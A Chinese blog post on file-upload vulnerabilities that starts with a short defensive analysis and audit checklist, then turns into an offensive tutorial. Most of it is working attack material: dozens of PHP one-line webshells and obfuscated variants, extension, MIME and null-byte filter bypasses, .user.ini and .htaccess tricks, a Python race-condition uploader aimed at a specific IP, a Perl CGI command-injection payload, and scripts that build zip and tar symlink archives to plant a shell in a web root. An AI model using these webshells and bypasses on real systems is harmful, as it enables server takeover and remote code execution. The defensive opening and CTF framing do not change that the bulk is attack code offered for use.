文件上传

文件上传

按处理流程分析文件上传漏洞

参考:一个文件上传的功能,可能出现哪些类型的漏洞?

文件上传功能的风险不只在于“能否上传 WebShell”,还应沿着文件的完整生命周期进行分析:写入存储、数据库交互、文件展示,以及后续处理。

1. 写入硬盘或对象存储时

  • 后缀可控 + 上传目录可执行:如果用户可以控制文件后缀,且上传目录位于站点目录并允许执行动态脚本,可能导致任意代码执行。
  • OSS / 公共对象存储:如果上传结果可通过对应子域名直接访问,上传 HTML 等主动内容可能造成存储型 XSS。
  • 安全实现:服务端生成随机文件名,使用固定且不可执行的后缀;上传目录放在 Web 根目录之外或关闭脚本执行;对象存储使用私有读、下载响应头和独立域名,避免与主站同源。

2. 存取数据库时

上传文件名、路径和描述信息经常会写入数据库或被查询。如果这些字段直接拼接 SQL,特殊字符可能造成 SQL 注入,进而影响文件记录和业务数据。

  • 使用预编译语句或 ORM 参数绑定,禁止拼接用户输入;
  • 文件名、路径和描述字段分别进行长度限制与字符集校验;
  • 授权测试时重点检查文件名入库、列表查询、重命名和删除等流程,并观察是否出现异常回显或数据库错误。

3. 文件或文件名展示时

只要文件名或文件内容会被浏览器展示,就需要考虑 XSS:

  • 文件名未进行上下文相关的 HTML 属性、HTML 文本或 URL 编码,可能形成反射型或存储型 XSS;
  • 若允许上传 HTML 文件,攻击者可以控制其全部内容,访问该文件时可能执行脚本;
  • 若允许上传 SVG 文件并以内联方式访问,SVG 支持脚本和事件处理器,直接访问上传后的 SVG 可能触发存储型 XSS;
  • 在线预览 PDF 等文档时,还应关注文档查看器及其脚本执行能力,恶意 PDF 可能利用查看器漏洞触发 XSS。

建议对文件名进行输出编码和严格过滤,对 SVG 做安全清洗或默认使用 Content-Disposition: attachment 下载而非内联展示;上传内容使用独立域名或沙箱隔离,并及时更新 PDF 查看器。

4. 其他文件处理环节

上传后的文件如果还会被解压、转码或生成缩略图,应继续检查对应组件和处理链:

  • 压缩包:关注路径穿越、符号链接、压缩炸弹和解压组件漏洞;
  • 图片处理:关注 ImageMagick 等解析器的历史漏洞及危险协议;
  • 音视频处理:关注 FFmpeg 等转码组件的历史漏洞、资源消耗和命令调用风险。

处理文件时应使用隔离的低权限进程,限制文件大小、解压后总大小、层级、处理时间和资源消耗;只允许必要的格式,组件保持最新,并避免将用户可控内容拼接进系统命令。

文件上传功能审计清单

  1. 文件名、后缀、MIME 类型和实际内容是否均由服务端校验;
  2. 最终保存路径是否不可预测,上传目录是否禁止脚本执行;
  3. 文件元数据写入数据库时是否使用参数化查询;
  4. 文件名、下载链接和预览内容是否做了正确的输出编码;
  5. 解压、图片、音视频处理是否隔离并设置资源限制;
  6. 对象存储、预览域名和下载响应头是否与主站做好隔离。

一句话木马文件上传步骤

构造一句话木马

常规和绕过木马

<?php
@eval($_POST['123']);
echo('123');
?>
<script language='php'>@eval($_POST['123'])</script>
<script language="php">eval($_POST[1]);</script>
<?php @eval($_POST['1']);?>//接收post请求从参数1中拿到值,进行执行命令。@符号抑制错误
<?php eval($_POST['cmd']);?>
<?php @eval($_POST['123'])?>
<?= eval($_POST[1]);?>
<?=eval($_REQUEST['cmd']);?>      //推荐使用这个
<?php fputs(fopen("shell.php","w"),'<?php @eval($_POST["shell"]);?>');?>
    
<?php @assert($_POST['cmd']); ?>

<?php
 $a=substr_replace("assexx","rt",4);
 @$a($_POST['cmd']);
?>
    
<?php
@call_user_func(assert,$_POST['cmd']);
?>

<?php
 $a="a"."s";
 $b="s"."e"."rt";
 $c=$a.$b;
 $c($_POST['cmd']);
?>

<?php
function fun1($a){
    assert($a);
}
fun1($_POST['cmd']);
?>

<?php
 function shyshy($a){
 assert($a);
 }
 @shyshy($_POST['cmd']);
?>

<?php
 $a=$_REQUEST['cmd'];
 $b="\n";
 eval($b.=$a);
?>

<?php
 class shyshy{
  public $a='';
  function __destruct(){
   assert("this->$a");
   }
  }
  $b=new shyshy();
  $b->a=$_POST['cmd'];
?>

<?php                  
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";                  
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";                  
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}                  
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?> 
# 密码是-7

创建一个txt文档写进去,上传后根据实际情况修改后缀名。

文件上传一句话木马

把jpg(一句话木马)上传,用bp抓包,再把jpg后缀改为php。有时有waf需修改php为其它。
假如需要找的文件名名security,可以尝试访问../security路径看回显是不是密码(123)。

Content-Type修改(一般修改为图片格式)

在这里插入图片描述

抓包修改Content-Type,改为 image/jpeg:可以解析php结尾

后缀绕过

在这里插入图片描述

可当做php解析的后缀.PHP .phtml .phps  .pht .php3 .php4 .php5  .php7  .phs .shtml .pwml  php/. php.1~ php. inc
后缀后面加空格:“php ”
.php. .
双写,大写绕过
在文件末尾加   "::$data" “::$DATA”
00截断:.php%00.jpg
::$DATA绕过
php+windows的情况下:如果文件名+“::\(DATA” 把::\)DATA之后的数据当成文件流处理,不会检测后缀名 保持"::$DATA"之前的文件名

Aparch2.x漏洞

1.php/.
1.php.1~
会被当做1.php解析

1.3蚁剑连接

3.使用蚁剑连接

img

注意是http

确定上传路径

录制网络活动

上传文件时,打开录制。

FUZZ

  • 确定上传文件的路径
http://xxx.xxx.upload/images/shell.php
  • FUZZ上传点

当遇见http://xxx.xxx.uploads类似,我们可以尝试FUZZ

http://xxx.xxx.uploads?do=1
不断变换do和1。猜测是否有上传参数。

param

在目录中以.pl结尾是per编写的网页文件。

后端实现上传代码
use strict;
use warnings; 
use CGI;
my $cgi= CGI->new;
if ( $cgi->upload( 'file' ) ) { 
    my $file= $cgi->param( 'file' );
     while ( <$file> ) { print "$_"; }
}

param函数读取上传的文件file相关内容和参数。
while ( <$file> ) { print "$_"; },<$file>是文件输入操作,会逐渐读取文件句柄$file中的内容,将变量存储在默认变量$_中。

漏洞利用

抓包后,将文件上传的文件类型及文件内容复制粘贴一行,将filename去掉,然后内容填入ARGV在路径中填入需要读取的文件。
这里读取时是根目录,我们可以先考虑先读取当前目录猜测是/var/www/cgi-bin/file.pl。 使用param()函数时,我们还可以构造payload实现远程命令执行

  /cgi-bin/file.pl?/bin/bash%20-c%20ls${IFS}/|    

通过管道方式,将输出结果用管道输入到读入流。

webshell工具

webshell

蚁剑

img

disable_function插件

disable_functions 是PHP.ini 配置文件中的一个安全设置选项,用于禁止在PHP 环境中执行某些特定的函数
可以使用此插件进行绕过

进阶方法

扩展名绕过

大小写混淆

  • 原理:Windows 系统文件名大小写不敏感(PhP、pHp、PHP5均等同于php),部分 Linux 服务器 / WAF 仅过滤小写后缀,可通过大小写混合绕过。
PhP、pHp、PHP5、PHP7

特殊后缀

  • 原理:多数 Web 服务器(Apache、Nginx、IIS)默认支持「脚本后缀变种」,这些后缀未被 WAF 拦截,但会被解析为脚本执行。
服务器类型 支持的 PHP 变种后缀 支持的 ASP/JSP 变种后缀
Apache php5、php7、phtml、pht、phar asp、aspx、jsp、jspx、jhtml
Nginx php5、php7、phtm asp、aspx、jsp
IIS php、php5(需配置) asp、aspx、asa、cer、cdx

后缀截断绕过

  • 原理:利用「空字符截断」或「特殊字符截断」,让服务器忽略后缀名后的无效字符,保留脚本后缀。

  • 两种常见截断方式:

    • %00空字符截断(适用于 PHP≤5.3.4、ASP 等,需服务器未禁用magic_quotes_gpc):
      • 恶意文件名:shell.php%00.jpg;
      • 原理:服务器解析时,%00 视为字符串结束符,实际保存为 shell.php,后缀.jpg被忽略。
    • 操作系统特殊字符截断(Windows):
      • 恶意文件名:shell.php.「末尾加英文点」或 shell.php「末尾加空格」;
      • 原理:Windows 系统会自动剔除文件名末尾的「点」和「空格」,最终保存为 shell.php。

双写后缀绕过

  • 原理:部分 WAF 仅「单次过滤」脚本后缀(如将php替换为空),可通过双写后缀让过滤后仍保留脚本后缀。
  • 恶意文件名:spphphp、phphpp、shell.php5php;

配置文件包含解析 JPG 木马

.user.ini

  • auto_prepend_file配置

含义:

当在 .user.ini文件中设置 auto_prepend_file ,并指定一个文件,那么服务器执行其他 PHP 文件(例如index.php )时,会自动在这 index.php 文件的最开头 “插入”你指定的那个文件内容。从代码角度,是在 index.php 文件的第一行自动添加一句 require('./1.jpg');。

示例:

你想让多个 PHP文件在执行前都统一先做一些初始化操作,像加载通用配置文件、初始化一些全局变量、开启某个安全检查模块,就可把这些初始化代码放在一个单独的 PHP 文件里,然后通过 auto_prepend_file配置让服务器自动把这个文件包含到每个要执行的PHP文件开头。

  • auto_append_file 配置

    auto_append_file :在要执行的 PHP 文件的所有代码都执行完后,才被包含执行。

利用过程
  • 利用条件

利用.user.ini的前提是服务器开启了CGI或者FastCGI,并且上传文件的存储路径下有index.php可执行文件。

所以我们要想利用文件上传并且执行,首先上传.user.ini文件,然后上传一个图片(木马)。

  • 上传.user.ini文件:

auto_prepend_file= "上传的图片文件名.jpg"

这里的配置是让服务器在执行同路径下的 PHP 文件(如 index.php )时,把这个图片文件当作 PHP 文件包含进来执行。

Content-Disposition: form-data; name="fileUpload"; filename=".user.ini"
Content-Type: image/jpg

GIF89a
auto_prepend_file=shell.jpg
  • 上传shell
Content-Disposition: form-data; name="fileUpload"; filename="shell.jpg"
Content-Type: image/jpg
		
GIF89a
<?=eval($_REQUEST['cmd']);?>

确定上传路径

.htaccess 文件绕过

创建.htaccess文件,代码如下:
 
方法一:
<FilesMatch "4.png">
SetHandler application/x-httpd-php
</FilesMatch>
#如果当前目录下有4.png,就会被解析为.php
 
方法二:
AddType application/x-httpd-php .png
#如果当前目录下有以.png结尾的文件,就会被解析为.php

方法一

  • 先上传.htaccess
    创建一个名为.htaccess的文件,里面写入下面的内容

    AddType application/x-httpd-php .jpg
    php_value auto_append_fi\
    le "php://filter/convert.base64-decode/resource=image_key_is_c.jpg"	
    

    注意第三行,根据你的图片名字进行修改,会把对应文件解析为php文件。
    image-20251229150658895

  • 再上传图片马
    将<?php eval($_POST[c]); ?>base64编码为PD9waHAgZXZhbCgkX1BPU1RbY10pOyA/Pg==,写入一个txt文档中,名字重命名为image_key_is_c.jpg,图片路径D:\RedTeamTool\文件上传木马\图片马。
    image-20251229145835543

    image-20251229151006803

  • 访问并连接
    image-20251229151052658

    image-20251229151122615
    打开蚁剑

条件竞争

当我们上传了php文件,服务端会在短时间内将其删除,我们需要抢在它删除之前访问文件并生成一句话木马文件,所以访问包的线程需要大于上传包的线程。

思路一

使用burpsuite发动两个爆破,
一个上传一句话木马文件<?php fputs(fopen("shell.php", "w"), '<?php @eval($_POST["shell"]); ?>'); ?>
一个进行访问。一旦访问成功,就可以执行上面语句,写入一个shell.php文件作为木马。

思路二

import requests
 
while True:
    burp0_url = "http://139.155.126.78:30675/admin/index.php"  # 更新 URL
    burp0_cookies = {"PHPSESSID": "bsgq3v7goubrk1ciepr0se2dfc"}  # 更新 PHP 会话 ID
    
    burp0_data = (
        "------WebKitFormBoundarygIbPTT5pJVbv72RS\r\n"
        "Content-Disposition: form-data; name=\"file_upload\"; filename=\"yjh3.php\"\r\n"
        "Content-Type: application/octet-stream\r\n\r\n"
        "<?php echo file_get_contents('/flag');?>\r\n"  # 改为新代码
        "------WebKitFormBoundarygIbPTT5pJVbv72RS--\r\n"
    )
    
    # 发送 POST 请求,只保留 Cookie
    r = requests.post(burp0_url, cookies=burp0_cookies, data=burp0_data)
    
    # 提取文件名并保存到本地文件
    try:
        filename = r.text.split('./Uploads/1f14bba00da3b75118bc8dbf8625f7d0/')[1].split('</p>')[0]
        with open('name.txt', 'w') as file:
            file.write(filename.strip())  # 使用 strip() 去除可能的换行符
    except IndexError:
        print("无法提取文件路径或文件上传失败")
import requests
 
url0 = 'http://139.155.126.78:30675/admin/Uploads/1f14bba00da3b75118bc8dbf8625f7d0/'
 
while True:
    # 直接读取文件内容,去除换行符并逐行处理
    with open('name.txt', 'r') as file:
        for filename in file:
            shellpath = url0 + filename.strip()  # 使用 strip() 去除换行符
 
            # 发起 GET 请求
            r1 = requests.get(shellpath)
 
            # 如果状态码不是 404,输出状态码和响应文本
            if r1.status_code != 404:
                print(r1.status_code)
                print(r1.text)

第一个脚本进行上传,多运行几个。
第二个脚本进行访问。

文件内容绕过

  • 原理:服务器通过检测文件头(如图片文件头GIF89a)或脚本关键词(如eval、system)拦截恶意文件,通过「伪装文件头、编码混淆、内容隐藏」绕过。

脚本伪装为合法文件(文件头欺骗)

  • 原理:在恶意脚本开头添加「合法文件的文件头」,让服务器误认为是图片、文档等合法文件,同时保证脚本可被解析执行。

  • 常见文件头与实战示例:

伪装文件类型 文件头标识 恶意脚本示例(PHP)
GIF 图片 GIF89a GIF89a<?php eval($_POST['cmd']);?>
JPG 图片 JFIF JFIF<?php system($_GET['exec']);?>
PNG 图片 PNG\r\n\x1A\n PNG\r\n\x1A\n<?php @assert($_REQUEST['x']);?>
TXT 文档 无(纯文本) <?php $a='syst';$b='em';$c=$a.$b;$c('id');?>(字符串拼接)
  • 注意:需确保上传后服务器「不修改文件内容」(部分服务器会压缩图片,导致脚本失效,可选择非图片格式如 TXT、CSV 伪装)。

恶意代码编码 / 混淆绕过

  • 原理:对恶意代码进行编码(Base64、URL 编码)或混淆(注释、字符串拼接、变量替换),绕过关键词检测(如eval、system)。

  • 实战示例:

    • Base64 编码(最常用):

      <?php eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs='));?>
      
      • 解码后:eval($_POST['cmd']);,避免eval关键词直接暴露。
    • 字符串拼接 + 注释混淆:

      <?php 
      $a = 'e'.'v'.'a'.'l'; // 拆分eval关键词
      $b = $_POST['x']; 
      $a($b); // 执行恶意代码
      ?>
      
    • 特殊字符注释:

      <?php eval/*abc123*/($_POST['cmd']);?>
      
      • 中间的注释/*abc123*/可绕过简单的关键词匹配。

利用文件包含漏洞间接执行

  • 原理:若目标存在「文件包含漏洞」(如?file=xxx),可上传「非脚本后缀文件」(如 TXT、LOG),里面写入恶意代码,再通过文件包含漏洞执行。
  • 实战示例:
    1. 上传 shell.txt,内容为:<?php phpinfo();?>;
    2. 利用文件包含漏洞访问:http://target.com/index.php?file=./upload/shell.txt;
    3. 若服务器支持php://filter伪协议,可进一步绕过内容检测:
      • 上传 shell.txt,内容为 Base64 编码后的恶意代码(如PD9waHAgcGhwaW5mbygpOz4=);
      • 访问:http://target.com/index.php?file=php://filter/convert.base64-decode/resource=./upload/shell.txt,服务器解码后执行。

MIME 类型绕过(针对 “Content-Type 检测”)

核心原理:服务器通过检查 HTTP 请求头中的Content-Type字段(如仅允许image/jpeg、image/png)判断文件类型,可通过「抓包修改Content-Type」欺骗服务器。

实战示例

  1. 本地创建恶意文件 shell.php,内容为<?php eval($_POST['cmd']);?>;
  2. 用 Burp Suite 抓包(拦截上传请求),找到Content-Type字段;
  3. 将默认的application/x-httpd-php(PHP 文件的 MIME 类型)改为合法类型,如:
    • 图片类型:image/jpeg「或image/png「image/gif」;
    • 文档类型:text/plain「application/octet-stream」;
  4. 放行请求,服务器误认为是合法图片 / 文档,允许上传;
  5. 若服务器未对文件内容做进一步检测,上传后的shell.php可直接执行。

文件名 / 路径绕过(针对 “文件名过滤 / 目录限制”)

核心原理:利用「操作系统特性、服务器路径解析漏洞」,修改文件名或上传路径,绕过目录限制或后缀检测。

文件名含特殊字符绕过

  • 实战示例:
    1. 空格 + 点:shell.php .「文件名末尾加空格 + 点」,Windows 系统自动剔除末尾空格和点,变为shell.php;
    2. 多个点:shell.php....,服务器可能只保留第一个点后的后缀,解析为php;
    3. 特殊符号:shell.php:1.jpg(IIS 服务器),IIS 会忽略:后的内容,解析为php文件。

路径穿越绕过目录限制

  • 实战示例:
    • 抓包修改文件名,将shell.php改为../shell.php;
    • 服务器若未过滤../,会将文件上传到upload/../(即webroot/目录),该目录通常可解析 PHP 脚本。

服务器解析漏洞利用

  • 原理:不同服务器(Apache、IIS、Nginx)存在特殊的解析规则,可利用规则绕过后缀限制:
  • Apache 解析漏洞(从右到左解析):
    • 上传 shell.php.rar.jpg,Apache 会从右到左识别后缀,若jpg、rar均不解析,最终识别php并执行;
  • IIS 目录解析漏洞(;分号截断):
    • 上传 shell.asp;1.jpg,IIS 会忽略;后的内容,解析为asp文件;
  • Nginx 空字节解析漏洞(旧版本):
    • 上传 shell.php%00.jpg,Nginx 会将%00视为结束符,解析为php文件。

压缩包

示例一:文件名绕过

import zipfile
import io
 
# 创建一个 BytesIO 对象来存储压缩文件内容
mf = io.BytesIO()
 
# 使用 zipfile 创建一个 ZIP 文件
with zipfile.ZipFile(mf, mode="w", compression=zipfile.ZIP_STORED) as zf:
    # 向 ZIP 文件中写入恶意 PHP 文件
    zf.writestr('exp.php', b'<?php ($_GET[1])($_POST[2]);?>')
    # 向 ZIP 文件中写入一个文件名为 'A' * 5000 的文件,内容为 'AAAAA'
    zf.writestr('A' * 5000, b'AAAAA')
 
# 将生成的 ZIP 文件写入磁盘
with open("shell.zip", "wb") as f:
    f.write(mf.getvalue())

这个关键点在于: 向 ZIP 文件中写入一个文件名为 'A' * 5000 的文件,内容为 'AAAAA'
当服务器遇到 5000 个A的超长文件名,会因 “文件名长度超过系统限制”(Linux 默认文件名长度限制为 255 字节)而解压失败,导致后续的 “(成功解压的逻辑:后缀校验)” 无法执行。但exp已经成功解压出来。

示例二:软连接

tar可以将符号链接本身记录到归档文件中。符号链接指向另一个文件或目录,在解包时,会根据记录的信息在目标位置重新创建相同指向的符号链接 。

import tarfile
import os
from io import BytesIO
webshell_content = b'<?php @eval($_POST["cmd"]); ?>'

webshell_name = "shell.php"


link_name = "test"

target_dir = "/var/www/html"

print(f"正在创建 link.tar...")
print(f"这个包将在 /tmp 目录下创建一个符号链接 '{link_name}' 指向 '{target_dir}'")

with tarfile.open("link.tar", "w") as tar:# 创建一个tar文件"link.tar"
# 创建一个TarInfo对象,指定名称为"test"(这将是符号链接的名字)
    link_info = tarfile.TarInfo(name=link_name)
# 声明这是一个符号链接类型
	link_info.type = tarfile.SYMTYPE  
# 符号链接指向的目标目录:/var/www/html(网站根目录)
	link_info.linkname = target_dir   
# 将这个符号链接信息添加到tar包中
	tar.addfile(link_info)

print("link.tar 创建成功!")
print("-" * 30)


print(f"正在创建 webshell.tar...")
# 组合路径:符号链接名 + webshell文件名 → "test/shell.php"
path_in_tar = os.path.join(link_name, webshell_name)
print(f"这个包将把 '{webshell_name}' 写入到路径 '{path_in_tar}'")
# 创建第二个tar文件"webshell.tar"
with tarfile.open("webshell.tar", "w") as tar:
  # 创建文件信息对象,路径为上面组合的"test/shell.php"
    file_info = tarfile.TarInfo(name=path_in_tar)
  # 设置文件大小为webshell内容的长度
	file_info.size = len(webshell_content)
  # 将webshell内容(PHP一句话木马)添加到tar包中
	tar.addfile(file_info, BytesIO(webshell_content))

print("webshell.tar 创建成功!")
print("-" * 30)
print("请按顺序上传这两个文件。")

解压时:

  • 先解压link.tar:会在当前目录创建一个名为test的符号链接,指向/var/www/html。
  • 再解压webshell.tar:会将shell.php写入test/shell.php路径,但由于test是符号链接,实际会写入到/var/www/html/shell.php。

WebShell 示例

script 样式木马

<script language="php">system("ls");</script>
<script language="php">system("cat /f1ag_1s_h3R3_And_You_W1LL_n3v3R_F1nd");</script>

上传两个木马,上传后不能连接,需要访问对应路径即可触发命令。

工具介绍

posted @ 2026-09-04 04:58  MillionMind  阅读(40)  评论(0)    收藏  举报